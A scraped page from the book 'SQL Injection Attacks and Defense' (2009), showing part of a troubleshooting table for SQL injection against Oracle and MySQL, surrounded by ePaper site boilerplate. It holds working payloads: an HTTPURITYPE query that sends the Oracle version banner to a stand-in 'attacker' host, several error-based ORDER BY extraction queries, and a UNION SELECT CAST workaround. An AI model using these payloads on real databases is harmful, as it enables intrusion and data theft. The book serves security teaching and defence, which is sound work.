28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

Table 10.20 Continued. Troubleshooting <strong>SQL</strong> <strong>Injection</strong> Reference<br />

References • Chapter 10 445<br />

Error/Challenge<br />

Challenge<br />

Utl_http does not work<br />

because the public privilege<br />

was removed.<br />

Error Message<br />

ORA-00904 invalid identifier<br />

Challenge<br />

Utl_inaddr does not work.<br />

There could be various<br />

reasons, such as access<br />

control lists (ACLs) in<br />

Version 11, privileges<br />

have been revoked, <strong>and</strong><br />

Java is not installed.<br />

Error Message<br />

ORA-00904 invalid identifier<br />

ORA-24247 network access<br />

denied by access control list<br />

ACL) – 11g<br />

ORA-29540 oracle/plsql/net/<br />

InternetAddress<br />

Challenge<br />

You receive an “illegal mix<br />

of collations” message<br />

when performing a<br />

UNION SELECT attack<br />

against a My<strong>SQL</strong> database.<br />

Solution<br />

Many Oracle security guides recommend<br />

that the public privilege be removed from<br />

the utl_http package. However, many<br />

overlook the fact that the object type<br />

HTTPURITYPE can be used to achieve the<br />

same aim <strong>and</strong> is also accessible to public.<br />

SELECT HTTPURITYPE(<br />

'http://attacker:1000/'|| (SELECT<br />

banner FROM v$version WHERE rownum=1)).<br />

getclob() FROM dual<br />

Use a different function where you can<br />

control the content of the error message.<br />

Here is a small list of c<strong>and</strong>idates depending<br />

on the database version <strong>and</strong> its installed<br />

components:<br />

ORDER BY<br />

ORDSYS.ORD_DICOM.GETMAPPINGXPATH((<br />

SELECT banner FROM v$version WHERE<br />

rownum=1),null,null)<br />

ORDER BY<br />

SYS.DBMS_AW_XML.READAWMETADATA((<br />

SELECT banner FROM v$version WHERE<br />

rownum=1),null)<br />

ORDER BY CTXSYS.DRITHSX.SN((SELECT<br />

banner FROM v$version WHERE<br />

rownum=1),user)<br />

ORDER BY<br />

CTXSYS.CTX_REPORT.TOKEN_TYPE(user,<br />

(SELECT banner FROM v$version WHERE<br />

rownum=1))<br />

This error can be overcome using the<br />

CAST function.<br />

For example:<br />

UNION SELECT user(),null,null;<br />

becomes:<br />

UNION SELECT CAST(user() AS<br />

char),null,null;<br />

Continued

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!